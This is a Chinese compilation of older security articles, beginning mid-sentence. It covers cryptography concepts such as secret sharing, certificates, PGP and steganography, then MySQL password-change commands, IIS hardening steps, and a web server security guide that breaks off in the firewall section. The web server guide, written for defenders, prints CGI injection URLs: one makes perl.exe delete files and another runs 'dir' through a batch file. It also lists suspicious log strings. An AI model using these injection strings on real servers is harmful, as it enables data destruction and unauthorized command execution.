标识的屏蔽标准，据称可以提供保护。剑桥大学的 Ross Anderson 最近宣布了
一个防止截获此类辐射的软件。

可以将嗅探器（sniffer）应用于局域网或广域网上，并且通常任何可以实际访
问网络的人都可以调察另一个系统或者截获正在传送的数据。被删除的文件
通常在一段时间内并不被覆盖，“删除”只是通过在目录表中适当地标记相关项
来释放磁盘块。Windows 使用虚拟内存，意味着 RAM 中的瞬态数据，
包括供阅读的明文，将被定期复制到磁盘上的交换文件并且可以被任何有权
访问该驱动器的人查看。使用 Word、Lotus Notes、Excel 及类似软件创建的
文件可能受内置的密码系统保护，但这些密码系统是如此脆弱，以致于通常可
以使用廉价并可广泛获得的程序在几秒钟之内攻破其保护。

密钥管理及相关问题

秘密共享
本地共享密钥有时非常有用。密钥可能非常有价值，因为如果丢失了它，
大量的文件就不能使用。当然可以通过存储密钥的多个备份副本来解决这一问题，
但考虑到这会增加非法使用的风险，因此最好使这些备份的数量减到最小。
在其它情况下，如对于传统的银行保险库情形，在安排一些事情时要很小心谨慎，
以便于在钥匙生效之前，只有最少数目的授权用户需要同意使用钥匙。

注：秘密共享机制涉及的不仅仅是将给定的密钥划分成几部分并简单分发给
不同的持有者。在这种情况下，缺一个人就意味着不能使用密钥。相反，
当维护安全性时，秘密共享方案设计成允许选定数目的共享份额以及选定数
目的必需用户。例如，密钥可能分给五个持有人，以便任意三个人在一起就能破解密码。
两个广泛使用的方案是 Shamir 方案和 Blakley 方案，前者基于多项式内插法，
后者本质上是几何学。也有可视的形式，由 Naor 和 Shamir 开发，
其中单个元素呈现为幻灯片形式并可在持有者间适当共享。这些幻灯片可以采取
看上去完全是很平常的图片的形式。

零知识证明与特殊签名方案
当某人见证签名时，通常很容易隐藏文档内容。类似地，对于电子文档，有时可能
需要让某人签名而不让其了解内容。有时候，让某人证明他知道某事而不泄露任何信息也是必需的。

第二个方面（让某人知道某事而不泄露信息）通常可以通过某种形式的提问-
应答活动来处理。一人被要求做某件事件 — 只有知道可以被验证的相关秘密的
人才能完成这件事情。经常举的一个小例子是阿里巴巴的山洞。它呈矩形，
三面环绕走廊，第四面是一块公共的空地，挑战者可以站在那儿。
正对着这个地方的矩形边上有一道只有念魔咒才能打开的门，它在那里封闭了走廊。
验证者检查门确实存在并且很安全，然后他要求另外一个人按照他希望的次数
出现在他指定的一个走廊出口，直到他确信那人确实知道魔咒。
注：验证者收到了确认另一个人知道魔咒的证明，
但验证者却不能向任何其他人证明这一点。

标准数字签名有这样的特性：任何拥有相关公钥的人都可以验证
用来签署文档的相应的私钥，而无需签名者在场。
这种签名方案称为自认证（self-authenticating）。然而，通常所说的
不可抵赖的签名方案的签名方案要求签名者证明签名的有效性。
为了避免签名者谎称未进行过签名，不可抵赖签名方案涉及添加通常所说的抵赖组件。
然后可以使用提问-应答机制进行验证。如果使用了合理长度的密钥，比如768位，
那么签名者否认文档的可能性微乎其微。

盲签名方案（blind signature scheme）是一种允许一个人让另一个人签署文档，
而第一个人不向签名者泄露任何关于文档内容的方案。这一点通过引入隐藏
所交换信息的随机值来完成。盲签名方案与许多领域都有关联，
包括时间戳记方面及匿名相关时的情形，例如关系到数字现金时。
当前它是一个广泛研究的领域。

证书
非对称密码术具有的一个风险是：有人会谎称拥有给定的公钥。
当所有人都相互认识时，这一问题很容易解决，但公钥密码术的一个相当大的优点是：
它可以在人们相互不认识的特别群体内准确地使用，因此需要一些方法来认证
某人与其公钥之间的联系。目前，通过发放数字证书来处理这一问题，
这是一种有效的凭证形式。

通常，证书将包含公钥及相关名称、失效日期以及其它相关信息。
证书本质上是来自可信任的第三方的数字签名，第三方证明公钥的可靠性
及其与指定的个人或组织的相关性。

X.509 标准定义了一种广泛使用的证书格式，而其它现有的格式是由使用更广泛的 PGP 设计的。
PGP 格式包括用来创建同证书相关的密钥的 PGP 版本号、
持有者的公钥及其它标识信息（可能包括照片）、证书的有效期、对首选的对称加密算法
（目前是 CAST、IDEA 或 Triple-DES ）的注释以及证书所有者的数字签名（即，使用与证书
上显示的公钥对应的私钥元素生成的签名）。还可能有其它几种数字签名，
它们都证明所提供信息的真实性，并且证明了“认为证书值得信任的人验证了其中的一些
信息”这种假设的正确性。

信任的这种识别是认证的一个重要组成部分。PGP 证书未采用给人印象深刻的层次
结构的认证，这好象很奇怪，但任何证书的价值最终都只依赖于某种级别的信任。
假定可以轻易地伪造护照、出生证明及其它传统形式的身份，同时假定未来的
（比如说）个人身份部（Ministry of Personal Identity）的某个公务员真正认
识我的机会微乎其微，那么同来自更小级别上互相联系的圈子的证书相比，
出自那里的证书的真实性可能很值得怀疑。

实际上，无论如何还是需要发放证书链。我部门领导可能认识我，他将发放
一份认证我所提供的密钥的证书。这将由部门签名来证明，然后由公司签名来证明，
可能进一步由专业或商业团体签名来证明，并且甚至再由一些具有国际声誉
的国家组织（如邮局）来证明。

很显然，所到达的链的级别越高，有关支持所提供数字签名的密钥的完整性的关键点就越多。
某人对高级别的认证机构持有的密钥进行的成功攻击（可能以偷窃或行贿而不是
密码分析的方式），会对依赖于这些密钥的文档的安全性造成巨大的损害。
如果密钥本身被泄露，那么会危及相关文档的安全，而如果认证机构的密钥成为人
所共知的东西，那么，虽然以前的证书仍然有效，但却可以轻易地发放假证书。

经常需要取消证书。证书过期时自然会被取消，但是，密钥的安全受到威胁或
某人离开特殊工作岗位时，证书也可能会被取消。会定期地发布这些已取消的密钥列表，
检查以确定提供的证书未被取消十分重要。

数字时间戳记
数字签名仅仅确认使用了特殊的私钥来加密文档，或者更有可能的是加密该文档
的消息摘要。某人可能通过声称签名时密钥已经泄露来试图不诚实地否认对该文档的签名。
或者，某人可能会签署某文档，尽管相关密钥已经被取消了。假定在任何时候任何东西都
可与文件很容易地关联，那么就需要一些其它机制来及时将这样的签名与特定时刻捆
绑到一起。如果准确知道进行签名的时间，那么就可以对签名的有效性做出正确判断。

使用打上时间戳记的数字签名的人向时间戳记服务发送消息摘要，
然后该服务返回一个时间戳记证书。然后任何想验证签名时间的人使用该证书
（及适合于该特殊证书并其指定的算法）来验证所声称的时间是否正确。

结束语
密码术是整个安全性的重要组成部分，尤其是随着国际性电子活动的普及。
此外，密码已经发展到这一点：使用正确并且密钥长度适当，它们就牢不可破。
对于需要确保加密后仍可使用的用户来说很重要 — 这要求对相关密钥进行切实有效的管理。
同时，将密钥泄露给他人意味着加密文档还不如使用明文，因此确保密钥的安全很重要。
私钥很长且不灵活，因此，需要将其存放在硬盘或某种可移动磁盘上，
然后通过使用适当的密码短语进行更高一级的加密来进行保护。通过使用普通密码
短语的用户媒体，记下这些密码短语、用明文在网络上发送、用明文在屏幕上显示、
留在高速缓存或虚拟内存里，以及由支持人员泄露给冒充拥有者的呼叫者，或者通过某种
常犯错误，使得这一级别上也存在着脆弱环节。

密码术简介，第五部分：实际应用
Murdoch Mactaggart（IBMDev@TextBiz.com）
自由撰稿人
2001 年 3 月

密码术可能是一种有趣的智力锻炼，但其最终价值却在于部署它来以各种方式
便利具有已知完整性的通信或者保护或控制访问。可以结合不同方法，就象广泛
使用的程序 PGP 那样。尽管对数字签名的使用存在一些担忧，但数字签名仍然
可以成为确认身份的一种有用手段。隐蔽方法（尤其是隐写术）有时可能会很有用。
智能卡和生物测量学的使用日趋广泛，它们用来取代传统密码系统或者同
传统密码系统一起工作。与此同时，就密码学的部署而言，价值的电子转帐方面的
增长也是一个很重要的领域。

简介
前面的文章研究了特别的密码技术。本文将考虑不同类型的密码，不管是单独的还
是相互结合的，是如何在诸如数字签名的领域及诸如 PGP 这样的流行程序中得
到实际应用的。相关的问题是应该怎样处理那些与其说是技术上的倒不如说是社会、
管理或法律上的问题。例如，声称自己就是某人并且是特定公钥的所有者，对这一
断言的认证是通过发放证书来处理的。下一篇文章杂项问题考虑这样的问题，
以及脆弱性、密钥管理、法律方面的问题以及其它相关问题。

结合密码方法

数字签名
密码术方面的某些密码学家和作者因为各种原因反对术语“数字签名”这一提法，
这些原因包括：数字签名过程同通常理解的“签名”之间有许多重要的差异。
这种观点当然完全正确，但我认为这种观点有些不得要领。签名通常可能就是
亲笔附上某人的姓名，但其基本要点是将某种标识符同某些对象或行为关联起来，
以致签名者为相关事物的完整性负责。如果因为不识字在文档上按了个手印，
或者因为双手骨折而用脚或嘴做了一个合适的标记，或者象 Whistler 在平版画的
角上描绘了一只蝴蝶 — 或者使用文本签名回复一封电子邮件，那么我都是对文档
进行了签名。更具争议的是，当我将一个戒指挤进热火漆时，或者当我与聋子
用手语交谈时，或者在舞会上扬扬眉毛或者将头歪向门时，我都可以说我在签名。
可以通过伪造（“名字不是由我写的”）、欺骗（“偷走图章戒指”）、
强迫（“除非我签名，否则就威胁对我加以伤害”）、诈称（象达利所说的，“
稍后在我签名的白纸上所做的画都是赝品”）、误解（“舞会上我朋友前面的
那位妇女以为我在指她”）等等来使这些签名全都无效。如果我仔细对此进行了分析，
会发现原因是将传统的签名同亲笔签名简单地关联是天真的。
重要的一点是任何签名都将某人同某事相关联。数字签名验证使用了某个特殊密钥，
而不是验证某个特定个体实际签署了该项，虽然注意这一点是很重要的，
但关联后来被证明是无效的却完全是另外一回事。

使用非对称密钥进行加密要比使用对称密钥加密慢得多，通常的做法是
首先制作一个消息摘要，然后用某人的私钥对其进行加密。这就是本系列中的
第一篇文章中所提到的机制。非对称密码术易遭诈称的攻击，通常通过发放数字
证书来对给定个体及其公钥间的关系进行认证。第六部分“杂项问题”对此进行了讨论。
数字签名的本质是使用私钥进行加密。这一做法，在经常提及的告诫条件下，
既认证文档是来自私钥的持有者，也确认文档自签名之后就没有被更改过。
使用消息摘要可能相当方便，但并不必要。

交易通常需要不赖帐的保证。虽然数字签名可能好象提供了这一保证，
但它也确实比诸如前面所考虑的任何其它形式的签名好不到那里去。
然而，数字时间戳记 — 涉及第三方将文档签名同特定时刻捆绑起来的机制 — 在
提供必要的安全性方面向前迈进了很多，这一点也将在“杂项问题”中讨论。

Pretty Good Privacy
人们总是用其首字母大写 PGP 来简称这个程序，它由 Phil Zimmerman 开发以
使用互补机制提供安全文件存储和电子邮件。原始的实现使用 IDEA 作为
对称密码、MD5 作为创建消息摘要的单向散列函数、RSA 作为非对称密码。
PGP 包括伪随机数生成器（PRNG），它对用户击键的时间间隔进行抽样，作为
其生成种子值所需的一部分。它还包括分析以及（如果需要的话）随后压缩文本的算法。

假定压缩产生的密文总是比由未压缩的明文产生的密文要小，那么压缩文本节省
了磁盘空间和传输时间。然而，压缩文本受明文中的模式干扰。这些将随语言的
不同以及特定语言内文档类型的不同而不同，但它几乎总是存在的并可以被知识渊博
的密码分析专家所利用。类似地，字母频率有时也可用来帮助识别。
例如，在许多英语文本中，最高频率出现的字母（由高到低）
顺序是 E、T、A、O、I、N S、H、R、D、L、U（这是 Soundex 算法中使用的列表），
一旦对文本进行了压缩，就不存在这些顺序了。当文件很短，
且已压缩或不能被很好地压缩时，就不对其再进行压缩了。
使用的压缩实用程序是免费软件 ZIP 程序，
其功能同 PKWare PKZip 2 中使用的算法在功能上相等。

PGP 使用 PRNG 来生成种子值，种子值用于创建会话密钥。
会话密钥用来通过使用对称密码来加密明文。然后使用预期接收方的公钥对
会话密钥进行加密并将该捆绑包发送出去。可选地，PGP 也将使用用发送方私钥加密
的消息摘要创建数字签名。大多数数字证书遵守 X.509 标准，因此，至少从理论
上说它们在不同应用程序间是可相互交换的。然而，PGP 认为 X.509 某些方面存在不足，
并且已开发了一套类似的系统，在 PGP 看来这套系统弥补了这些不足。
这被称为 PGP 证书格式，稍后也将对其进行讨论。PGP 同时支持 PGP 和 X.509 格式。

PGP 现在也提供三重 DES（Triple-DES）和 CAST 作为对称密码。还有从 RSA 到新形式
密码的转变，新形式密码遵守NIST数字签名方案（NIST Digital Signature Scheme (DSS)）—
虽然仍然支持 RSA。同时，除了在 RSA 继续被使用的地方之外，MD5 已被散列函数替代；
使用 DSS 时，采用的散列函数是 SHA。

对 PGP 中使用算法的注释在某种意义上容易让人产生误解。
而且，自从 PGP 程序于 1991 年出现以来，由于其不断发展，
相关的问题已经变得有些令人困惑。PGP Inc. 于 1997 年被收购，
现在由 Network Associates（NAI）所拥有，该公司现在对 PGP 的商业使用收取许可证费用。
除了不是免费的之外，PGP 也是开放源码。从目前对开放源码这个词的理解来说，
PGP 并不是完全的开放源码，但它确实对那些对其进行修改和编译或者使用发布的
代码作为创建兼容产品的标准的任何人开放过。这种情况曾经 — 即便是现在，
在某种程度上仍然 — 因美国对密码系统出口的管制而被搞得很复杂，
该管制规定：禁止合法地从美国以二进制形式出口美国创建的 PGP 版本，
但可以从已发布的源代码在国外进行创建。

目前存在大量的 PGP 版本，其中 PGP 6.5.1 是最新的 NAI 版本。
该版本可免费用于私人的、非商业用途。较早的版本，主要是 2.6n 的变体，
可以广泛获得，许多怀疑后来有商业组织参与开发新版本的用户更愿意使用这些版本。
同从标准 PGP 源代码创建的版本（如版本 5.0i 和 5.5i）一样，
将这些版本用于商业用途仍然需要向 NAI 支付许可证费用。最后，比利时的 Highware Inc.
提供一种称为 SafeMail 的 Mac 产品，它是一种根据 OpenPGP 规范创建的 PGP 兼容产品。
如果您考虑采用这条路线来开发您自己的版本，那么无需向 NAI 支付许可证费用就可以自由开发，
虽然您将不得不同您使用的密码（在某些国家，如 IDEA 和 RSA 这样的密码）
的任何专利持有人就许可证费用达成一致。如果使用得当并且具有安全的文件、
密码和密码短语，PGP 是牢不可破的。然而，如同所有其它密码产品一样，PGP
容易遭到多种攻击，杂项问题一文将讨论其中一些攻击。然而，作为公开代码，PGP
也存在潜在的脆弱性。任何人都可生成一个声称是 PGP 的副本，然后使之可用于分发。
加入一些后门入口是十分可能的，这些后门入口允许读取好象是很安全的消息。
我假定这些并非是为了鼓励偏执和怀疑，实际上已经有了太多偏执和怀疑，我只是想指出：
不管您的 PGP 副本是来自 NAI 转售商还是来自某些其他可信的来源，
设法确信其完整性总不失为谨慎之举。

隐蔽通信

隐写术
隐写术是一种将消息隐藏在单纯的制品里的方法。需要交换的信息总是不易被发现的。
用非计算机术语这可以解释为用显隐墨水书写消息以供随后恢复，
在送信人的光头上用墨水写上一些消息，然后用重新长起来的头发掩盖起来，
或者交换印刷书籍，消息可以根据特殊公式获取。

在计算机数据流中，可以以不同方式设置或清除顺序高位信息，或者将非打印字符放入数据流中。
经常将数据隐藏在复杂文件中，多半是隐藏在图片或音乐文件中，
在图片或音乐文件中通常有数量相当可观的冗余，以致于在其中包含其它内容通常不会产生明显的影响。
如果文件是一段技术摘录，那么任何人无论如何也不会注意到其中包括了其它内容。

同所有密码技术一样，其主要风险并不在于加密被破解（虽然对于隐写术这是很容易的），
而在于人为错误。用于这一目的的图片和音乐必需非常恰当。
如果画家或摄影师同一家广告公司相互发送和接收图像，那当然很好。
但如果他在一家公司工作并且定期同在竞争对手所在公司的同事相互发送和接收相同的图片，
那么麻烦就来了。

安全性机制

SecurID
密码和代码用来保护重要的数据、位置和类似的东西，防止对其进行未经授权的访问。
假定没有（例如，通过将它们写在粘贴在桌上或显示器上的便条上而）泄露这些密码或编码，
那么破解它们需要一定的时间。各种产品通过将通行码同物理设备相联系以及每隔
很短的间隔就改变密钥来进行局部防御。

RSA Security 的 SecurID 使用一种称为令牌的由电池供电的手持设备。
它存储当前时间并拥有一个只有该令牌才有的 64 位值。每隔指定的间隔，
通常是每隔一分钟，令牌计算并显示一个新的代码。用户以某种方式将该代码同个
事先协商的密码结合起来，在任何需要通行码的地方都输入该代码。
认证服务器每隔那一特定的时间就计算令牌代码，并以指定的方式将该代码同用户
的秘码的副本相结合，如果两个通行码相互匹配，就允许访问。

智能卡
智能卡是一种设备，通常采用信用卡的形式，它以专用计算机芯片的形式具有有限的处理能力。
示例包括法国信用卡（现在在其它欧洲国家得到了越来越广泛的使用）、GSM SIM 卡、
许多大楼通行卡、等等。智能卡在欧洲的使用要比美国广泛的多，尽管这一形势正在改变。
最近一项报告指出：2000 年年初，全球有 4.2 亿张智能卡在使用，到 2005 年这一数字
可望增长到大约 40 亿。智能卡需要 POS 终端、大楼进入系统、ATM、电视或录像订阅读卡机、
计算机访问读卡机等形式的读卡机。所有形式都使用了某些类型的加密来对持有者进行认证，
或者来允许对特定区域或在特定时刻进行访问。暂时为 AES（如前所述）选择的 Rijndael 密码
的一个优点是它非常小，而这正是智能卡使用的一个重要的需求。几家公司现在正在
开发允许开发人员为特定智能卡使用开发应用程序的工具箱和 API。其中之一是 Thinkpulse，
它位于美国，但却由一群法国人组建。Thinkpulse 采用了开发标准运行时引擎的创新方法，
软件开发人员可以将该引擎针对不同应用程序和不同卡类型。

生物测量学
生物测量学是指借助个人身体特征来对个人进行认证的广泛技术。包括指纹鉴定、
虹膜和视网膜扫描、声音或面部识别、手形测量以及更多。在可靠性以及在使用中
怎样算是非法闯入、怎样算是可接受方面，它们各不相同。在误接受和误拒绝间总有
一个折衷，有些系统要比其它系统精确得多。生物测量学系统的巨大优势在于其识别
标志是独一无二（即便对其判读可能会出错）并且总是存在的。
这些系统同智能卡系统一起正在得到日益广泛的使用，经常可以用其替代基于密码的认证，
或同传统密码系统一起使用。

价值的电子转帐
在其它事物中，钱是价值的存储。我做事情以赚取更多这种存储，
然后我用其交换我想要的东西，这样就减少了所存储的价值。
货币是一种有用、常见且安全的交换方式，但它容易被伪造、偷窃或遗失。
然而，一旦采用电子形式，情况就很不一样了，因为不存在实际证物，各方都必需
确保不会危及交易的真实性。SET 作为安全的银行卡信息传输系统，以前曾提到过。

电子现金形式的钱必需只能够被在当时有权使用它的任何人花费一次。
此外，同有形的货币一样，电子货币记号必需是匿名的，这就为认证方案引入了新的困难。

Mondex 是对一种系统的称呼，在这种系统中，货币存储在定期从如银行帐户
之类的某些其它存储加满的智能卡中，并且可以使用智能卡进行小额购买。
在英国的斯温顿（Swindon）对其进行了测试，结果很各式各样；当银行联盟
决定对用户使用信用卡进行收费时，很明显就引起了一个问题。预付费电话卡是
另一种形式的储值卡，在日本得到了广泛使用。

此外，所有这些系统的共同要素是：用于确认存储或划拨的金额的完整性，
以及有时还要确认对一方或双方认证的加密安全机制的重要性。小额支付可能会增长，
因此移动电话或 PDA（可能同短程无线连接一起）的使用可能会使之成为一个日益重要的领域。

结束语
在实际应用中，密码系统对于认证某人的身份或认证某人有权做某事或进入
某地常常是至关重要的。也将它们用于对公众隐藏数据或确保不危及数据的完整性。
私人和企业现在可以使用诸如 PGP 的应用程序及其各种克隆产品来确保达到相同的目的。


MySQL修改密码方法总结
首先要声明一点，大部分情况下，修改MySQL是需要有mysql里的root权限的，
所以一般用户无法更改密码，除非请求管理员。

方法一
使用phpmyadmin，这是最简单的了，修改mysql库的user表，
不过别忘了使用PASSWORD函数。

方法二
使用mysqladmin，这是前面声明的一个特例。
mysqladmin -u root -p password mypasswd
输入这个命令后，需要输入root的原密码，然后root的密码将改为mypasswd。
把命令里的root改为你的用户名，你就可以改你自己的密码了。
当然如果你的mysqladmin连接不上mysql server，或者你没有办法执行mysqladmin，
那么这种方法就是无效的。
而且mysqladmin无法把密码清空。

下面的方法都在mysql提示符下使用，且必须有mysql的root权限：
方法三
mysql> INSERT INTO mysql.user (Host,User,Password)
VALUES('%','jeffrey',PASSWORD('biscuit'));
mysql> FLUSH PRIVILEGES
确切地说这是在增加一个用户，用户名为jeffrey，密码为biscuit。
在《mysql中文参考手册》里有这个例子，所以我也就写出来了。
注意要使用PASSWORD函数，然后还要使用FLUSH PRIVILEGES。

方法四
和方法三一样，只是使用了REPLACE语句
mysql> REPLACE INTO mysql.user (Host,User,Password)
VALUES('%','jeffrey',PASSWORD('biscuit'));
mysql> FLUSH PRIVILEGES

方法五
使用SET PASSWORD语句，
mysql> SET PASSWORD FOR jeffrey@"%" = PASSWORD('biscuit');
你也必须使用PASSWORD()函数，
但是不需要使用FLUSH PRIVILEGES。

方法六
使用GRANT ... IDENTIFIED BY语句
mysql> GRANT USAGE ON *.* TO jeffrey@"%" IDENTIFIED BY 'biscuit';
这里PASSWORD()函数是不必要的，也不需要使用FLUSH PRIVILEGES。

注意： PASSWORD() [不是]以在Unix口令加密的同样方法施行口令加密。


用IIS建立高安全性Web服务器

因为IIS(即Internet Information Server)的方便性和易用性，使它成为最受欢迎的Web服务器软件之一。但是，IIS的安全性却一直令人担忧。如何利用IIS建立一个安全的Web服务器，是很多人关心的话题。
构造一个安全系统
要创建一个安全可靠的Web服务器，必须要实现Windows 2000和IIS的双重安全，因为IIS的用户同时也是Windows 2000的用户，并且IIS目录的权限依赖Windows的NTFS文件系统的权限控制，所以保护IIS安全的第一步就是确保Windows 2000操作系统的安全：
1. 使用NTFS文件系统，以便对文件和目录进行管理。
2. 关闭默认共享
打开注册表编辑器，展开“HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters”项，添加键值AutoShareServer，类型为REG_DWORD，值为0。 这样就可以彻底关闭“默认共享”。
3. 修改共享权限
建立新的共享后立即修改Everyone的缺省权限，不让Web服务器访问者得到不必要的权限。
4. 为系统管理员账号更名，避免非法用户攻击。
鼠标右击[我的电脑]→[管理]→启动“计算机管理”程序，在“本地用户和组”中，鼠标右击“管理员账号(Administrator)”→选择“重命名”，将管理员账号修改为一个很普通的用户名。
5. 禁用TCP/IP 上的NetBIOS
鼠标右击桌面上[网络邻居] →[属性] →[本地连接] →[属性]，打开“本地连接属性”对话框。选择[Internet协议(TCP/IP)]→[属性]→[高级]→[WINS]，选中下侧的“禁用TCP/IP上的NetBIOS”一项即可解除TCP/IP上的NetBIOS。
6. TCP/IP上对进站连接进行控制
鼠标右击桌面上[网络邻居] →[属性] →[本地连接] →[属性]，打开“本地连接属性”对话框。选择[Internet协议(TCP/IP)]→[属性]→[高级]→[选项]， 在列表中单击选中“TCP/IP筛选”选项。单击[属性]按钮，选择“只允许”，再单击[添加]按钮，只填入80端口。
7. 修改注册表，减小拒绝服务攻击的风险。
打开注册表：将HKLM\System\
CurrentControlSet\Services\Tcpip\Parameters下的SynAttackProtect的值修改为2，使连接对超时的响应更快。
保证IIS自身的安全性
IIS安全安装
要构建一个安全的IIS服务器，必须从安装时就充分考虑安全问题。
1. 不要将IIS安装在系统分区上。
2. 修改IIS的安装默认路径。
3. 打上Windows和IIS的最新补丁。
IIS的安全配置
1. 删除不必要的虚拟目录
IIS安装完成后在wwwroot下默认生成了一些目录，包括IISHelp、IISAdmin、IISSamples、MSADC等，这些目录都没有什么实际的作用，可直接删除。
2. 删除危险的IIS组件
默认安装后的有些IIS组件可能会造成安全威胁，例如 Internet服务管理器(HTML)、SMTP Service和NNTP Service、样本页面和脚本，大家可以根据自己的需要决定是否删除。
3. 为IIS中的文件分类设置权限
除了在操作系统里为IIS的文件设置必要的权限外，还要在IIS管理器中为它们设置权限。一个好的设置策略是：为Web 站点上不同类型的文件都建立目录，然后给它们分配适当权限。例如：静态文件文件夹允许读、拒绝写，ASP脚本文件夹允许执行、拒绝写和读取，EXE等可执行程序允许执行、拒绝读写。
4. 删除不必要的应用程序映射
ISS中默认存在很多种应用程序映射，除了ASP的这个程序映射，其他的文件在网站上都很少用到。
在“Internet服务管理器”中，右击网站目录，选择“属性”，在网站目录属性对话框的“主目录”页面中，点击[配置]按钮，弹出“应用程序配置”对话框，在“应用程序映射”页面，删除无用的程序映射。如果需要这一类文件时，必须安装最新的系统修补补丁，并且选中相应的程序映射，再点击[编辑]按钮，在“添加/编辑应用程序扩展名映射”对话框中勾选“检查文件是否存在”选项。这样当客户请求这类文件时，IIS会先检查文件是否存在，文件存在后才会去调用程序映射中定义的动态链接库来解析。
5. 保护日志安全
日志是系统安全策略的一个重要环节，确保日志的安全能有效提高系统整体安全性。
● 修改IIS日志的存放路径
默认情况下，IIS的日志存放在%WinDir%\System32\LogFiles，黑客当然非常清楚，所以最好修改一下其存放路径。在“Internet服务管理器”中，右击网站目录，选择“属性”，在网站目录属性对话框的“Web站点”页面中，在选中“启用日志记录”的情况下，点击旁边的[属性]按钮，在“常规属性”页面，点击[浏览]按钮或者直接在输入框中输入日志存放路径即可。
● 修改日志访问权限，设置只有管理员才能访问。
通过以上的一些安全设置，相信你的Web服务器会安全许多。


Web服务器安全指南(1)

作者：系统工程师 发表时间：2002/07/09 02:02am

在计算机网络日益普及的今天，计算机安全不但要求防治计算机病毒，而且要提高系统抵抗黑客非法入侵的能力，还要提高对远程数据传输的保密性，避免在传输途中遭受非法窃取。本文仅仅讨论在构造Web服务器时可能出现的一些情况，希望能引起重视。
一. 安全漏洞
    Web服务器上的漏洞可以从以下几方面考虑：
    1.在Web服务器上你不让人访问的秘密文件、目录或重要数据。
    2.从远程用户向服务器发送信息时，特别是信用卡之类东西时，中途遭不法分子非法拦截。
    3.Web服务器本身存在一些漏洞，使得一些人能侵入到主机系统，破坏一些重要的数据，甚至造成系统瘫痪。
    4.CGI安全方面的漏洞有：
    (1)有意或无意在主机系统中遗漏Bugs给非法黑客创造条件。
    (2)用CGI脚本编写的程序当涉及到远程用户从浏览器中输入表格(Form)，并进行检索(Search index)，或form-mail之类在主机上直接操作命令时，或许会给Web主机系统造成危险。
    5.还有一些简单的从网上下载的Web服务器，没有过多考虑到一些安全因素，不能用作商业应用。
    因此，不管是配置服务器，还是在编写CGI程序时都要注意系统的安全性。尽量堵住任何存在的漏洞，创造安全的环境。
二. 提高系统安全性和稳定性
    Web服务器安全预防措施：
    1.限制在Web服务器开账户，定期删除一些断进程的用户。
    2.对在Web服务器上开的账户，在口令长度及定期更改方面作出要求，防止被盗用。

3.尽量使FTP、MAIL等服务器与之分开，去掉ftp,sendmail,tftp,NIS, NFS，finger,netstat等一些无关的应用。
    4.在Web服务器上去掉一些绝对不用的如SHELL之类的解释器，即当在你的CGI的程序中没用到PERL时，就尽量把PERL在系统解释器中删除掉。
    5.定期查看服务器中的日志logs文件，分析一切可疑事件。在errorlog中出现rm, login, /bin/perl, /bin/sh等之类记录时，你的服务器可能已经受到了一些非法用户的入侵。
    6.设置好Web服务器上系统文件的权限和属性，对可让人访问的文档分配一个公用的组，如WWW，并只分配它只读的权利。把所有的HTML文件归属WWW组，由Web管理员管理WWW组。对于Web的配置文件仅对Web管理员有写的权利。
    7.有些Web服务器把Web的文档目录与FTP目录指在同一目录时，应该注意不要把FTP的目录与CGI-BIN指定在一个目录之下。这样是为了防止一些用户通过FTP上载一些如PERL或SH之类程序，并用Web的CGI-BIN去执行，造成不良后果。
    8.通过限制许可访问用户IP或DNS，如在NCSA中的access.conf中加上：
    《Directory /full/path/to/directory》
    《Limit GET POST》
    order mutual-failure
    deny from all
    allow from 168.160.142. abc.net.cn
    《/Limit》
    《/Directory》
    这样只能是以域名为abc.net.cn或IP属于168.160.142的客户访问该Web服务器。
    对于CERN或W3C服务器可以这样在httpd.conf中加上：
    Protection LOCAL-USERS {
    GetMask @(*.capricorn.com, *.zoo.org, 18.157.0.5)
    }
    Protect /relative/path/to/directory/* LOCAL-USERS
    9.WINDOWS下HTTPD
    (1)Netscape Communications Server for NT

PERL解释器的漏洞：
    Netscape Communications Server中无法识别CGI-BIN下的扩展名及其应用关系，如.pl文件是PERL的代码程序自动调用的解释文件，即使现在也只能把perl.exe文件存放在CGI-BIN目录之下。执行如：/cgi-bin/perl.exe?&my_script.pl。但是这就
    给任何人都有执行PERL的可能，当有些人在其浏览器的URL中加上如：/cgi-bin/perl.exe?&-e+unlink+%3C*%3E时，有可能造成删除服务器当前目录下文件的危险。但是，其他如：O′Reilly WebSite或Purveyor都不存在这种漏洞。
    CGI执行批处理文件的漏洞:
    文件test.bat的内容如下：
    @echo off
    echo Content-type: text/plain
    echo
    echo Hello World!
    如果客户浏览器的URL为：/cgi-bin/test.bat?&dir，则执行调用命令解释器完成DIR列表。这就让访问者有执行其他命令可能性。
    (2)O′Reilly WebSite server for Windows NT/95
    在WebSite1.1B以前的版本中使用批处理文件存在着与Netscape同样的漏洞，但是，新版关闭了.bat在CGI中的作用。支持PERL，新版将VB和C作为CGI开发工具。
    (3)Microsoft′s IIS Web Server
    1996年3月5日前的IIS在NT下的BUG严重，可以任意使用command命令。但之后已修补了该漏洞，你可检查你的可执行文件的建立日期。IIS3.0还存在一些安全BUG，主要是CGI-BIN下的覆给权利。另外，许多Web服务器本身都存在一些安全上的漏洞，都是在版本升级过程中被不断更新了，在此就不一一列举了。
三. 从CGI编程角度考虑安全。
    1.采用编译语言比解释语言会更安全些,并且CGI程序应放在独立于HTML存放目录之外的CGI-BIN下,这是为了防止一些非法访问者从浏览器端取得解释性语言的原代码后从中寻找漏洞。
    2.在用C来编写CGI程序时应尽量少用popen()、system()、所有涉及/bin/sh的SHELL命令以及在PERL中的system()、exec()、open()、eval()等exec或eval之类命令。

在由用户填写的form还回CGI时，不要直接调用system()之类函数。
    另外，对于数据的加密与传输，目前有SSL、SHTTP、SHEN等协议供大家研究。
四. 防火墙(Firewall)
    1.防火墙的概念
    防火墙(Firewall)是指一个由软件或由软件和硬件设备组合而成，处于企业或网络群体计算机与外界通道(Internet)之间，限制外界用户对内部网络的访问及管理内部用户访问外界网络的权限。
    2.防火墙的措施
    (1)代理(Proxy)主机"内部网络--代理网关(Proxy Gateway)--Internet"
    这种方式是内部网络与Internet不直接通讯。就是内部网络计算机用户与代理网关采用一种通讯方式，即提供内部网络协议(Netbios、TCP/IP等)，而网关与Internet之间采取的是标准TCP/IP网络通讯协议。这样使得网络数据包不能直接在内外网络之间进行。内部计算机必须通过代理网关访问Internet，这样容易在代理服务器上对内部网络计算机访问外界计算机进行限制。另外，由于代理服务器两端采用不同协议标准也可以直接阻止外界非法入侵。还有，代理服务器的网关可对数据封包进行验证和对密码进行确认等安全管制。这样，能较好地控制管理两端的用户，起到防火墙作用。
